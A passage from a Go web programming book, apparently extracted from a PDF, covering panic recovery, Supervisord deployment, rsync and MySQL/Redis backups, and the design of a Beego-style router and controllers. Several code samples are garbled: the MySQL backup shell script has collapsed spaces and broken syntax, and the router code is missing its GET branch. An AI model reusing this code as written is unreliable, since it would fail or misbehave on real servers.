array, but the UID that we use is out of bounds and throws an exception. If we do not have a recovery mechanism to deal
with this immediately, the process will be killed, and the panic will propagate up the stack until our program finally crashes.
In order for our application to be robust and resilient to these kinds of runtime errors, we need to implement recovery
mechanisms in certain places.
func GetUser(uid int) (username string) {

defer func() {
if x := recover(); x != nil {
username = ""
}
}()
username = User[uid]
return
}
The above describes the differences between errors and exceptions. So, when it comes down to developing our Go
applications, when do we use one or the other? The rules are simple: if you define a function that you anticipate might fail,
then return an error variable. When calling another package's function, if it is implemented well, there should be no need to
worry that it will panic unless a true exception has occurred (whether recovery logic has been implemented or not). Panic
and recover should only be used internally inside packages to deal with special cases where the state of the program
cannot be guaranteed, or when a programmer's error has occurred. Externally facing APIs should explicitly return error
values.
Summary
This is section summarizes how web applications should handle various errors such as network, database and operating
system errors, among others. We've outline several techniques to effectively deal with runtime errors such as: displaying
user-friendly error notifications, rolling back actions, logging, and alerting system administrators. Finally, we explained how
to correctly handle errors and exceptions. The concept of an error is often confused with that of an exception, however in
Go, there is a clear distinction between the two. For this reason, we've discussed the principles of processing both errors
and exceptions in web applications.
Links
Directory
Previous section: Logs
Next section: Deployment
265
Deployment
12.3 Deployment
When our web application is finally production ready, what are the steps necessary to get it deployed? In Go, an executable
file encapsulating our application is created after we compile our programs. Programs written in C can run perfectly as
background daemon processes, however Go does not yet have native support for daemons. The good news is that we can
use third party tools to help us manage the deployment of our Go applications, examples of which are Supervisord, upstart
and daemontools, among others. This section will introduce you to some basics of the Supervisord process control system.
Daemons
Currently, Go programs cannot be run as daemon processes (for additional information, see the open issue on github here).
It's difficult to fork existing threads in Go because there is no way of ensuring a consistent state in all threads that have
been used.
We can, however, see many attempts at implementing daemons online, such as in the two following ways;
MarGo one implementation of the concept of using Command to deploy applications. If you really want to daemonize
your applications, it is recommended to use code similar to the following:
d := flag.Bool("d", false, "Whether or not to launch in the background(like a

daemon)")
if *d {
cmd := exec.Command(os.Args[0],
"-close-fds",
"-addr", *addr,
"-call", *call,
)
serr, err := cmd.StderrPipe()
if err != nil {
log.Fatalln(err)
}
err = cmd.Start()
if err != nil {
log.Fatalln(err)
}
s, err := ioutil.ReadAll(serr)
s = bytes.TrimSpace(s)
if bytes.HasPrefix(s, []byte("addr: ")) {
fmt.Println(string(s))
cmd.Process.Release()
} else {
log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
cmd.Process.Kill()
}
}
Another solution is to use syscall , but this solution is not perfect:
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Deployment
package main
import (
"log"
"os"
"syscall"
)
func daemon(nochdir, noclose int) int {

var ret, ret2 uintptr
var err uintptr
darwin := syscall.OS == "darwin"
// already a daemon
if syscall.Getppid() == 1 {
return 0
}
// fork off the parent process

ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
if err != 0 {
return -1
}
// failure
if ret2 < 0 {
os.Exit(-1)
}
// handle exception for darwin

if darwin && ret2 == 1 {
ret = 0
}
// if we got a good PID, then we call exit the parent process.

if ret > 0 {
os.Exit(0)
}
/* Change the file mode mask */

_ = syscall.Umask(0)
// create a new SID for the child process

s_ret, s_errno := syscall.Setsid()
if s_errno != 0 {
log.Printf("Error: syscall.Setsid errno: %d", s_errno)
}
if s_ret < 0 {
return -1
}
if nochdir == 0 {
os.Chdir("/")
}
if noclose == 0 {
f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)
if e == nil {
fd := f.Fd()
syscall.Dup2(fd, os.Stdin.Fd())
syscall.Dup2(fd, os.Stdout.Fd())
syscall.Dup2(fd, os.Stderr.Fd())
}
}
return 0
}
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Deployment
While the two solutions above implement daemonization in Go, I still cannot recommend that you use either methods since
there is no official support for daemons in Go. Notwithstanding this fact, the first option is the more feasible one, and is
currently being used by some well-known open source projects like skynet for implementing daemons.
Supervisord
Above, we've looked at two schemes that are commonly used to implement daemons in Go, however both methods lack
official support. So, it's recommended that you use a third-party tool to manage application deployment. Here we take a
look at the Supervisord project, implemented in Python, which provides extensive tools for process management.
Supervisord will help you to daemonize your Go applications, also allowing you to do things like start, shut down and restart
your applications with some simple commands, among many other actions. In addition, Supervisord managed processes
can automatically restart processes which have crashed, ensuring that programs can recover from any interruptions.
As an aside, I recently fell into a common pitfall while trying to deploy an application using Supervisord. All
applications deployed using Supervisord are born out of the Supervisord parent process. When you change an
operating system file descriptor, don't forget to completely restart Supervisord -simply restarting the application it is
managing will not suffice. When I first deployed an application with Supervisord, I modified the default file descriptor
field, changing the default number from 1024 to 100,000 and then restarting my application. In reality, Supervisord
continued using only 1024 file descriptors to manage all of my application's processes. Upon deploying my
application, the logger began reporting a lack of file descriptors! It was a long process finding and fixing this mistake,
so beware!
Installing Supervisord
Supervisord can easily be installed using sudo easy_install supervisor . Of course, there is also the option of directly
downloading it from its official website, uncompressing it, going into the folder then running setup.py install to install it
manually.
If you're going the easy_install route, then you need to first install setuptools
Go to http://pypi.python.org/pypi/setuptools#files and download the appropriate file, depending on your system's

python version. Enter the directory and execute sh setuptoolsxxxx.egg . When then script is done, you'll be able to use the
easy_install command to install Supervisord.
Configuring Supervisord
Supervisord's default configuration file path is /etc/supervisord.conf , and can be modified using a text editor. The
following is what a typical configuration file may look like:
268
Deployment
;/etc/supervisord.conf
[unix_http_server]
file = /var/run/supervisord.sock
chmod = 0777
chown= root:root
[inet_http_server]
# Web management interface settings
port=9001
username = admin
password = yourpassword
[supervisorctl]
; Must 'unix_http_server' match the settings inside
serverurl = unix:///var/run/supervisord.sock
[supervisord]
logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log)
logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB)
logfile_backups=10 ; (num of main logfile rotation backups;default 10)
loglevel=info ; (log level;default info; others: debug,warn,trace)
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
nodaemon=true ; (start in foreground if true;default false)
minfds=1024 ; (min. avail startup file descriptors;default 1024)
minprocs=200 ; (min. avail process descriptors;default 200)
user=root ; (default is current user, required if root)
childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP)
[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
; Manage the configuration of a single process, you can add multiple program
[program: blogdemon]
command =/data/blog/blogdemon
autostart = true
startsecs = 5
user = root
redirect_stderr = true
stdout_logfile =/var/log/supervisord/blogdemon.log
Supervisord management
After installation is complete, two Supervisord commands become available to you on the command line: supervisor and
supervisorctl . The commands are as follows:
supervisord : initial startup, launch, and process configuration management.
supervisorctl stop programxxx : stop the programxxx process, where programxxx is a value configured in your
supervisord.conf file. For instance, if you have something like [program: blogdemon] configured, you would use the
supervisorctl stop blogdemon command to kill the process.
supervisorctl start programxxx : start the programxxx process
supervisorctl restart programxxx : restart the programxxx process
supervisorctl stop all : stop all processes; note: start, restart, stop will not load the latest configuration files.
supervisorctl reload : load the latest configuration file, launch them, and manage all processes with the new
configuration.
Summary
In this section, we described how to implement daemons in Go. We learned that Go does not natively support daemons,
and that we need to use third-party tools to help us manage them. One such tool is the Supervisord process control system
which we can use to easily deploy and manage our Go programs.
Links
269
Deployment
Directory
Previous section: Errors and crashes
Next section: Backup and recovery
270
Backup and recovery
12.4 Backup and recovery

In this section, we'll discuss another aspect of application management: data backup and recovery on production servers.
We often encounter situations where production servers don't behave as we expect them to. Server network outages, hard
drive malfunctions, operating system crashes and other similar events can cause databases to become unavailable. The
need to recover from these types of events has led to the emergence of many cold standby/hot standby tools that can help
to facilitate disaster recovery remotely. In this section, we'll explain how to backup deployed applications in addition to
backing up and restoring any MySQL and Redis databases you might be using.
Application Backup
In most cluster environments, web applications do not need to be backed up since they are actually copies of code from our
local development environment, or from a version control system. In many cases however, we need to backup data which
has been supplied by the users of our site. For instance, when sites require users to upload files, we need to be able to
backup any files that have been uploaded by users to our website. The current approach for providing this kind of
redundancy is to utilize so-called cloud storage, where user files and other related resources are persisted into a highly
available network of servers. If our system crashes, as long as user data has been persisted onto the cloud, we can at least
be sure that no data will be lost.
But what about the cases where we did not backup our data to a cloud service, or where cloud storage was not an option?
How do we backup data from our web applications then? Here, we describe a tool called rsync, which can be commonly
found on unix-like systems. Rsync is a tool which can be used to synchronize files residing on different systems, and a
perfect use-case for this functionality is to keep our website backed up.
Note: Cwrsync is an implementation of rsync for the Windows environment
Rsync installation
You can find the latest version of rsync from its official website. Of course, because rsync is very useful software, many
Linux distributions will already have it installed by default.
Package Installation:
# sudo apt-get install rsync ; Note: debian, ubuntu and other online installation methods ;
# yum install rsync ; Note: Fedora, Redhat, CentOS and other online installation methods ;
# rpm -ivh rsync ; Note: Fedora, Redhat, CentOS and other rpm package installation methods ;
For the other Linux distributions, please use the appropriate package management methods to install it. Alternatively, you
can build it yourself from the source:
tar xvf rsync-xxx.tar.gz

cd rsync-xxx
./configure - prefix =/usr; make; make install
Note: If want to compile and install the rsync from its source, you have to install gcc compiler tools such as job.
Note: Before using source packages compiled and installed, you have to install gcc compiler tools such as job
Rsync Configuration
Rsync can be configured from three main configuration files: rsyncd.conf which is the main configuration file,
rsyncd.secrets which holds passwords, and rsyncd.motd which contains server information.
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Backup and recovery
You can refer to the official documentation on rsync's website for more detailed explanations, but here we will simply
introduce the basics of setting up rsync:.
Starting an rsync daemon server-side:

# /usr/bin/rsync --daemon --config=/etc/rsyncd.conf
the --daemon parameter is for running rsync in server mode. Make this the default boot-time setting by joining it to the
rc.local file:
echo 'rsync --daemon' >> /etc/rc.d/rc.local
Setup an rsync username and password, making sure that it's owned only by root, so that local unauthorized users or
exploits do not have access to it. If these permissions are not set correctly, rsync may not boot:
echo 'Your Username: Your Password' > /etc/rsyncd.secrets

chmod 600 /etc/rsyncd.secrets
Client synchronization:
Clients can synchronize server files with the following command:
rsync -avzP --delete --password-file=rsyncd.secrets [email protected]::www /var/rsync/backup
Let's break this down into a few key points:
1. -avzP are some common options. Use rsync --help to review what these do.
2. --delete deletes extraneous files on the receiving side. For example, if files are deleted on the sending side, the next
time the two machines are synchronized, the receiving sides will automatically delete the corresponding files.
3. --password-file specifies a password file for accessing an rsync daemon. On the client side, this is typically the
client/etc/rsyncd.secrets file, and on the server side, it's /etc/rsyncd.secrets . When using something like Cron to
automate rsync, you won't need to manually enter a password.

4. username specifies the username to be used in conjunction with the server-side /etc/rsyncd.secrets password
5. 192.168.145.5 is the IP address of the server
6. ::www (note the double colons), specifies contacting an rsync daemon directly via TCP for synchronizing the www
module according to the server-side configurations located in /etc/rsyncd.conf . When only a single colon is used, the
rsync daemon is not contacted directly; instead, a remote-shell program such as ssh is used as the transport .
In order to periodically synchronize files, you can set up a crontab file that will run rsync commands as often as needed. Of
course, users can vary the frequency of synchronization according to how critical it is to keep certain directories or files up
to date.
MySQL backup
MySQL databases are still the mainstream, go-to solution for most web applications. The two most common methods of
backing up MySQL databases are hot backups and cold backups. Hot backups are usually used with systems set up in a
master/slave configuration to backup live data (the master/slave synchronization mode is typically used for separating
database read/write operations, but can also be used for backing up live data). There is a lot of information available online
detailing the various ways one can implement this type of scheme. For cold backups, incoming data is not backed up in
real-time as is the case with hot backups. Instead, data backups are performed periodically. This way, if the system fails,
the integrity of data before a certain period of time can still be guaranteed. For instance, in cases where a system
malfunction causes data to be lost and the master/slave model is unable to retrieve it, cold backups can be used for a
partial restoration.
A shell script is generally used to implement regular cold backups of databases, executing synchronization tasks using
rsync in a non-local mode.
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Backup and recovery
The following is an example of a backup script that performs scheduled backups for a MySQL database. We use the
mysqldump program which allows us to export the database to a file.
#!/bin/bash
# Configuration information; modify it as needed
mysql_user="USER" #MySQL backup user
mysql_password="PASSWORD" # MySQL backup user's password
mysql_host="localhost"
mysql_port="3306"
mysql_charset="utf8" # MySQL encoding
backup_db_arr=("db1" "db2") # Name of the database to be backed up, separating multiple databases wih spaces ("DB1",
"DB2" db3 ")
backup_location=/var/www/mysql # Backup data storage location; please do not end with a "/" and leave it at its defau
lt, for the program to automatically create a folder
expire_backup_delete="ON" # Whether to delete outdated backups or not
expire_days=3 # Set the expiration time of backups, in days (defaults to three days); this is only valid when the èx
pire_backup_delete` option is "ON"
# We do not need to modify the following initial settings below

backup_time=`date +%Y%m%d%H%M` # Define the backup time format
backup_Ymd=`date +%Y-%m-%d` # Define the backup directory date time
backup_3ago=`date-d '3 days ago '+%Y-%m-%d` # 3 days before the date
backup_dir=$backup_location/$backup_Ymd # Full path to the backup folder
welcome_msg="Welcome to use MySQL backup tools!" # Greeting
# Determine whether to MySQL is running; if not, then abort the backup

mysql_ps=`ps-ef | grep mysql | wc-l`
mysql_listen=`netstat-an | grep LISTEN | grep $mysql_port | wc-l`
if [[$mysql_ps==0]-o [$mysql_listen==0]]; then
echo "ERROR: MySQL is not running! backup aborted!"
exit
else
echo $welcome_msg
fi
# Connect to the mysql database; if a connection cannot be made, abort the backup
mysql-h $mysql_host-P $mysql_port-u $mysql_user-p $mysql_password << end
use mysql;
select host, user from user where user='root' and host='localhost';
exit
end
flag=ècho $?`
if [$flag!="0"]; then
echo "ERROR: Can't connect mysql server! backup aborted!"
exit
else
echo "MySQL connect ok! Please wait......"
# Determine whether a backup database is defined or not. If so, begin the backup; if not, then abort
if ["$backup_db_arr"!=""]; then
# dbnames=$(cut-d ','-f1-5 $backup_database)
# echo "arr is(${backup_db_arr [@]})"
for dbname in ${backup_db_arr [@]}
do
echo "database $dbname backup start..."
`mkdir -p $backup_dir`
`mysqldump -h $mysql_host -P $mysql_port -u $mysql_user -p $mysql_password $dbname - default-character-set=
$mysql_charset | gzip> $backup_dir/$dbname -$backup_time.sql.gz`
flag=ècho $?`
if [$flag=="0"]; then
echo "database $dbname successfully backed up to $backup_dir/$dbname-$backup_time.sql.gz"
else
echo "database $dbname backup has failed!"
fi
done
else
echo "ERROR: No database to backup! backup aborted!"
exit
fi
# If deleting expired backups is enabled, delete all expired backups
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Backup and recovery
if ["$expire_backup_delete"=="ON" -a "$backup_location"!=""]; then

# `find $backup_location/-type d -o -type f -ctime + $expire_days-exec rm -rf {} \;`
`find $backup_location/ -type d -mtime + $expire_days | xargs rm -rf`
echo "Expired backup data delete complete!"
fi
echo "All databases have been successfully backed up! Thank you!"
exit
fi
Modify the properties of the shell script like so:
chmod 600 /root/mysql_backup.sh

chmod +x /root/mysql_backup.sh
Then add the crontab command:
00 00 *** /root/mysql_backup.sh
This sets up regular backups of your databases to the /var/www/mysql directory every day at 00:00, which can then be
synchronized using rsync.
MySQL Recovery
We've just described some commonly used backup techniques for MySQL, namely hot backups and cold backups. To
recap, the main goal of a hot backup is to be able to recover data in real-time after an application has failed in some way,
such as in the case of a server hard-disk malfunction. We learned that this type of scheme can be implemented by
modifying database configuration files so that databases are replicated onto a slave, minimizing interruption to services.
But sometimes we need to perform a cold backup of the SQL data recovery, as with database backup, you can import
through the command: Hot backups are, however, sometimes inadequate. There are certain situations where cold backups
are required to perform data recovery, even if it's only a partial one. When you have a cold backup of your database, you
can use the following MySQL command to import it:
mysql -u username -p databse < backup.sql
As you can see, importing and exporting database is a fairly simple matter. If you need to manage administrative privileges
or deal with different character sets, this process may become a little more complicated, though there are a number of
commands which will help you to do this.
Redis backup
Redis is one of the most popular NoSQL databases, and both hot and cold backup techniques can also be used in systems
which use it. Like MySQL, Redis also supports master/slave mode, which is ideal for implementing hot backups (refer to
Redis' official documentation to learn how to configure this; the process is very straightforward). As for cold backups, Redis
routinely saves cached data in memory to the database file on-disk. We can simply use the rsync backup method described
above to synchronize it with a non-local machine.
Redis recovery
Similarly, Redis recovery can be divided into hot and cold backup recovery. The methods and objectives of recovering data
from a hot backup of a Redis database are the same as those mentioned above for MySQL, as long as the Redis
application is using the appropriate database connection.
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Backup and recovery
A Redis cold backup recovery simply involves copying backed-up database files into the working directory, then starting
Redis on it. The database files are automatically loaded into memory at boot time; the speed with which Redis boots will
depend on the size of the database files.
Summary
In this section, we looked at some techniques for backing up data as well as recovering from disasters which may occur
after deploying our applications. We also introduced rsync, a tool which can be used to synchronize files on different
systems. Using rsync, we can easily perform backup and restoration procedures for both MySQL and Redis databases,
among others. We hope that by being introduced to some of these concepts, you will be able to develop disaster recovery
procedures to better protect the data in your web applications.
Links
Directory
Previous section: Deployment
275
Summary
12.5 Summary
In this chapter, we discussed how to deploy and maintain our Go web applications. We also looked at some closely related
topics which can help us to keep them running smoothly, with minimal maintenance.
Specifically, we looked at:
Creating a robust logging system capable of recording errors, and notifying system administrators
Handling runtime errors that may occur, including logging them, and how to relay this information in a user-friendly
manner that there is a problem
Handling 404 errors and notifying users that the requested page cannot be found
Deploying applications to a production environment (including how to deploy updates)
How to deploy highly available applications
Backing up and restoring files and databases
After reading the contents of this chapter, those thinking about developing a web application from scratch should already
have the full picture on how to do so; this chapter provided an introduction on how to manage deployment environments,
while previous chapters have focused on the development of code.
Links
Directory
Previous section: Backup and recovery
Next chapter: Building a web framework
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Build a web framework
13 Building a web framework

The Preceding twelve chapters describe how to develop web applications in Go, introducing a lot of basic knowledge,
development tools and techniques. In this chapter, we will be using this knowledge to implement a simple web framework.
The first section of this chapter will take you through the planning and design stage of building a web framework. We'll look
at leveraging the MVC pattern as well as designing program execution flow, among other things. The second section will
describe the first feature of our framework: Routing; namely, how to map URLs to processing logic. Then in the third
section, we describe the processing logic itself, which involves designing generic controllers, and how to handle requests
and return responses after inheriting from an object handler. Next, we describe some of the auxiliary functionality common
to most web frameworks, such as log processing, information configuration, etc. Finally, we'll implement a simple blogging
system on top of our framework which will demonstrate the application logic necessary for publishing, modifying, deleting,
and displaying lists of blog posts.
By seeing first-hand how to implement such a complete project from scratch, you will hopefully have a better understanding
of the inner workings of Go web applications. You'll be comfortable building your own project directory structures,
implementing URL routers and utilizing MVC, among other aspects of web development. Among the frameworks prevalent
today, MVC is no longer a myth. It's not uncommon to hear programmers arguing about which frameworks are good and
which are bad, which is often too shallow of an approach. Frameworks are only tools, and some tools are more suitable for
certain applications than others. There are no universally good or bad tools. Thus, by teaching yourself how to write a
framework from scratch, you will be able to tailor-make the perfect tool to best realize your ideas!
Links
Directory
Next section: Project program
277
Project program
13.1 Project planning

Anything you intend to do well must first be planned well. In our case, our intention is to develop a blogging system, so the
first step we should take is to design the flow of the application in its entirety. When we have a clear understanding of the
our application's process of execution, the subsequent design and coding steps become much easier.
GOPATH and project settings

Let's proceed by assuming that our GOPATH points to a folder with an ordinary directory name (if not, we can easily set up
a suitable directory and set its path as the GOPATH). As we've describe earlier, a GOPATH can contain more than one
directory: in Windows, we can set this as an environment variable; in linux/OSX systems, GOPATH can be set using
export , i.e: export gopath=/path/to/your/directory , as long as the directory which GOPATH points to contains the three
sub-directories: pkg , bin and src . Below, we've placed the source code of our new project in the src directory with
the tentative name beelog . Here are some screenshots of the Windows environment variables as well as of the directory
structure.
Figure 13.1 Setting the GOPATH environment variable
Figure 13.2 The working directory under $gopath/src
Application flowchart
Our blogging system will be based on the model-view-controller design pattern. MVC is the separation of the application
logic from the presentation layer. In practice, when we keep the presentation layer separated, we can drastically reduce the
amount of code needed on our web pages.
Models represent data as well as the rules and logic governing it. In General, a model class will contain functions for
removing, inserting and updating database information.
Views are a representation of the state of a model. A view is usually a page, but in Go, a view can also be a fragment
of a page, such as a header or footer. It can also be an RSS feed, or any other type of "page". Go's template package
provides very good support for view layer functionality.
Controllers are the glue logic between the model and view layers and encompasses all the intermediary logic
necessary for handling HTTP requests and generating Web pages.
The following figure is an overview of the project framework and demonstrates how data will flow through the system:
Figure 13.3 framework data flow
1. Main.go is the application's entry point and initializes some basic resources required to run the blog such as
configuration information, listening ports, etc.
2. Routing checks all incoming HTTP requests and, according to the method, URL and parameters, matches it with the
corresponding controller action.
3. If the requested resource has already been cached, the application will bypass the usual execution process and return
a response directly to the user's browser.
4. Security detection: The application will filter incoming HTTP requests and any other user submitted data before
handing it off to the controller.
5. Controller loads models, core libraries, and any other resources required to process specific requests. The controller is
primarily responsible for handling business logic.
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Project program
6. Output the rendered view to be sent to the client's web browser. If caching has been enabled, the first view is cached
for future requests to the same resource.
Directory structure
According to the framework flow we've designed above, our blog project's directory structure should look something like the
following:
|——main.go import documents

|——conf configuration files and processing module
|——controllers controller entry
|——models database processing module
|——utils useful function library
|——static static file directory
|——views view gallery
Framework design
In order to quickly build our blog, we need to develop a minimal framework based on the application we've designed above.
The framework should include routing capabilities, support for RESTful controllers, automated template rendering, a
logging system, configuration management, and more.
Summary
This section describes the initial design of our blogging system, from setting up our GOPATH to briefly introducing the MVC
pattern. We also looked at the flow of data and the execution sequence of our blogging system. Finally, we designed the
structure of our project directory. At this point, we've basically completed the groundwork required for assembling our
framework. In the next few sections, we will implement each of the components we've discussed, one by one.
Links
Directory
Previous section: Building a web framework
Next section: Customizing routers
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Customized routers
13.2 Customizing routers
HTTP routing
The HTTP routing component is responsible for mapping HTTP requests to a corresponding function or struct method.
The router takes two key pieces of information from incoming requests:
-The user requested path (for example, /user/123,/article/123 ), and any query strings or parameters that come with it
(for example, ?id=11 ) -The HTTP request method (GET, POST, PUT, and DELETE, PATCH, etc.)
The router then forwards the request to the handler function (controller layer) that has been registered with that particular
HTTP method and path.
Default routing implementation

In section 3.4, we introduced Go's http package in detail, which included how to design and implement routing. Here, we
take another look at an example that illustrates the routing process:
func fooHandler(w http.ResponseWriter, r *http.Request) {

fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
}
http.Handle("/foo", fooHandler)
http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {

fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})
log.Fatal(http.ListenAndServe(":8080", nil))
The example above calls http 's default mux called DefaultServeMux , implicitly specified by the nil parameter in the call
to http.ListenAndServe . The http.Handle function takes two parameters: the first parameter is the resource you want
users to access, specified by its URL path (which is stored in r.URL.Path ) and the second argument binds a handler
function with this path. The Router has two main jobs:
To add and store routing information

To forward requests to a handler function for processing
By default, Go routes are handled with http.Handle and http.HandleFunc types, registered by default through the
underlying DefaultServeMux.Handle(pattern string, handler Handler) function. This function maps resource paths to
handlers and stores them in a map[string]muxEntry map. This is the first job that we mentioned above.
When the application is running, the Go server listens to a port. When it receives a tcp connection, it uses a Handler to
process it. As aforementioned, since the Handler in the example above is nil , the default router http.DefaultServeMux
is used. Using the map of previously stored routes, DefaultServeMux.ServeHTTP will dispatch the request to the first handler
with a matching path. This is the router's second job.
for k, v := range mux.m {

if !pathMatch(k, path) {
continue
}
if h == nil || len(k) > n {
n = len(k)
h = v.h
}
}
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Customized routers
Routing with Beego

At present, most Go web applications base their routing on http 's default router, however this has several limitations:
Does not support dynamic routes with parameters, such as the/user/:UID

Does not have good support for REST. The access methods cannot be restricted; for instance in the above example,
when users access /foo , they can use the GET, POST, DELETE, and HEAD HTTP methods, among others.
In large apps, routing rules can become repetitive and cumbersome. Personally, I've developed simple web APIs
composed of nearly thirty routing rules when in fact, these rules could have been further simplified using method
structs.
The Beego framework's router is designed to overcome these limitations, taking the REST paradigm into consideration and
simplifying the storing and forwarding of routes and requests.
Storing routes
To address the first limitation of the default router, we need to be able to support dynamic URL parameters. For the second
and third points, we adopt an alternative approach,mapping REST methods to struct methods and routing requests to this
struct instead of to handler functions. This way, a forwarded request can be handled according to it's HTTP method.
Based on the above ideas, we've designed two data types: controllerInfo , which saves the path and the corresponding
controllerType struct as a reflect.Type type, and ControllerRegistor , which saves routing information for the specified
Beego application.
type controllerInfo struct {

regex *regexp.Regexp
params map[int]string
controllerType reflect.Type
}
type ControllerRegistor struct {

routers []*controllerInfo
Application *App
}
ControllerRegistor's external interface contains the following method:
func(p *ControllerRegistor) Add(pattern string, c ControllerInterface)
Its detailed implementation is as follows:
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Customized routers
func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) {

parts := strings.Split(pattern, "/")
j := 0
params := make(map[int]string)
for i, part := range parts {
if strings.HasPrefix(part, ":") {
expr := "([^/]+)"
//a user may choose to override the default expression

// similar to expressjs: ‘/user/:id([0-9]+)’
if index := strings.Index(part, "("); index != -1 {

expr = part[index:]
part = part[:index]
}
params[j] = part
parts[i] = expr
j++
}
}
//recreate the url pattern, with parameters replaced

//by regular expressions. Then compile the regex.
pattern = strings.Join(parts, "/")

regex, regexErr := regexp.Compile(pattern)
if regexErr != nil {
//TODO add error handling here to avoid panic

panic(regexErr)
return
}
//now create the Route

t := reflect.Indirect(reflect.ValueOf(c)).Type()
route := &controllerInfo{}
route.regex = regex
route.params = params
route.controllerType = t
p.routers = append(p.routers, route)
Static routing
We've implemented dynamic routing in our example above. By default, Go's http package supports serving static files
with http.FileServer , which returns a Handler . Since we have implemented a custom router, we will also need a way of
handling static files. Beego's static folder path is saved in a global variable called StaticDir , which maps the URL to
corresponding paths. The SetStaticPath 's implementation can be seen below:
func (app *App) SetStaticPath(url string, path string) *App {

StaticDir[url] = path
return app
}
The application's static routes can be set like so:
beego.SetStaticPath("/img", "/static/img")
Forwarding routes
282
Customized routers
We can forward routes based on the forwarding information contained within ControllerRegistor . The detailed
implementation can be seen in the following code snippet:
// AutoRoute
func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) {
defer func() {
if err := recover(); err != nil {
if !RecoverPanic {
// go back to panic
panic(err)
} else {
Critical("Handler crashed with error", err)
for i := 1; ; i += 1 {
_, file, line, ok := runtime.Caller(i)
if !ok {
break
}
Critical(file, line)
}
}
}
}()
var started bool
for prefix, staticDir := range StaticDir {
if strings.HasPrefix(r.URL.Path, prefix) {
file := staticDir + r.URL.Path[len(prefix):]
http.ServeFile(w, r, file)
started = true
return
}
}
requestPath := r.URL.Path
//find a matching Route

for _, route := range p.routers {
//check if Route pattern matches url

if !route.regex.MatchString(requestPath) {
continue
}
//get submatches (params)

matches := route.regex.FindStringSubmatch(requestPath)
//double check that the Route matches the URL pattern.

if len(matches[0]) != len(requestPath) {
continue
}
params := make(map[string]string)
if len(route.params) > 0 {
//add url parameters to the query param map
values := r.URL.Query()
for i, match := range matches[1:] {
values.Add(route.params[i], match)
params[route.params[i]] = match
}
//reassemble query params and add to RawQuery

r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery
//r.URL.RawQuery = url.Values(values).Encode()
}
//Invoke the request handler
vc := reflect.New(route.controllerType)
init := vc.MethodByName("Init")
in := make([]reflect.Value, 2)
ct := &Context{ResponseWriter: w, Request: r, Params: params}
in[0] = reflect.ValueOf(ct)
in[1] = reflect.ValueOf(route.controllerType.Name())
init.Call(in)
in = make([]reflect.Value, 0)
283
Customized routers
method := vc.MethodByName("Prepare")
method.Call(in)
method = vc.MethodByName("Get")
method.Call(in)
} else if r.Method == "POST" {
method = vc.MethodByName("Post")
method.Call(in)
} else if r.Method == "HEAD" {
method = vc.MethodByName("Head")
method.Call(in)
} else if r.Method == "DELETE" {
method = vc.MethodByName("Delete")
method.Call(in)
} else if r.Method == "PUT" {
method = vc.MethodByName("Put")
method.Call(in)
} else if r.Method == "PATCH" {
method = vc.MethodByName("Patch")
method.Call(in)
} else if r.Method == "OPTIONS" {
method = vc.MethodByName("Options")
method.Call(in)
}
if AutoRender {
method = vc.MethodByName("Render")
method.Call(in)
}
method = vc.MethodByName("Finish")
method.Call(in)
started = true
break
}
//if no matches to url, throw a not found exception

if started == false {
http.NotFound(w, r)
}
}
Getting started
Using our router design, we can solve the three limitations mentioned earlier. The three main use-cases are:
Registering route handlers:
beego.BeeApp.RegisterController("/", &controllers.MainController{})
Handling dynamic parameters:
beego.BeeApp.RegisterController("/:param", &controllers.UserController{})
Regex matching:
beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{})
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284
Customized routers
285
Design controllers
13.3 Designing controllers

Most traditional MVC frameworks are based on suffix action mapping. Nowadays, the REST style web architecture is
becoming increasingly popular. One can implement REST-style URLs by filtering or rewriting them, but why not just design
a new REST-style MVC framework instead? This section is based on this idea, and focuses on designing and implementing
a controller based, REST-style MVC framework from scratch. Our goal is to simplify the development of web applications,
perhaps even allowing us to write a single line of code capable of serving "Hello, world".
The controller's role

The MVC design pattern is currently the most used framework model for web applications. By keeping Models, Views and
Controllers separated, we can keep our web applications modular, maintainable, testable and extensible. A model
encapsulates data and any of the business logic that governs that data, such as accessibility rules, persistence, validation,
etc. Views serve as the data's representation and in the case of web applications, they usually live as templates which are
then rendered into HTML and served. Controllers serve as the "glue" logic between Models and Views and typically have
methods for handling different URLs. As described in the previous section, when a URL request is forwarded to a controller
by the router, the controller delegates commands to the Model to perform some action, then notifies the View of any
changes. In certain cases, there is no need for models to perform any kind of logical or data processing, or for any views to
be rendered. For instance, in the case of an HTTP 302 redirect, no view needs to be rendered and no processing needs to
be performed by the Model, however the Controller's job is still essential.
RESTful design in Beego

The previous section describes registering route handlers with RESTful structs. Now, we need to design the base class for
a logic controller that will be composed of two parts: a struct and interface type.
type Controller struct {

Ct *Context
Tpl *template.Template
Data map[interface{}]interface{}
ChildName string
TplNames string
Layout []string
TplExt string
}
type ControllerInterface interface {

Init(ct *Context, cn string) //Initialize the context and subclass name
Prepare() //some processing before execution begins
Get() //method = GET processing
Post() //method = POST processing
Delete() //method = DELETE processing
Put() //method = PUT handling
Head() //method = HEAD processing
Patch() //method = PATCH treatment
Options() //method = OPTIONS processing
Finish() //executed after completion of treatment
Render() error //method executed after the corresponding method to render the page
}
Then add the route handling function described earlier in this chapter. When a route is defined to be a ControllerInterface
type, so long as we can implement this interface, we can have access to the following methods of our base class controller.
func (c *Controller) Init(ct *Context, cn string) {

c.Data = make(map[interface{}]interface{})
c.Layout = make([]string, 0)
286
Design controllers
c.TplNames = ""
c.ChildName = cn
c.Ct = ct
c.TplExt = "tpl"
}
func (c *Controller) Prepare() {
func (c *Controller) Finish() {
func (c *Controller) Get() {

http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)
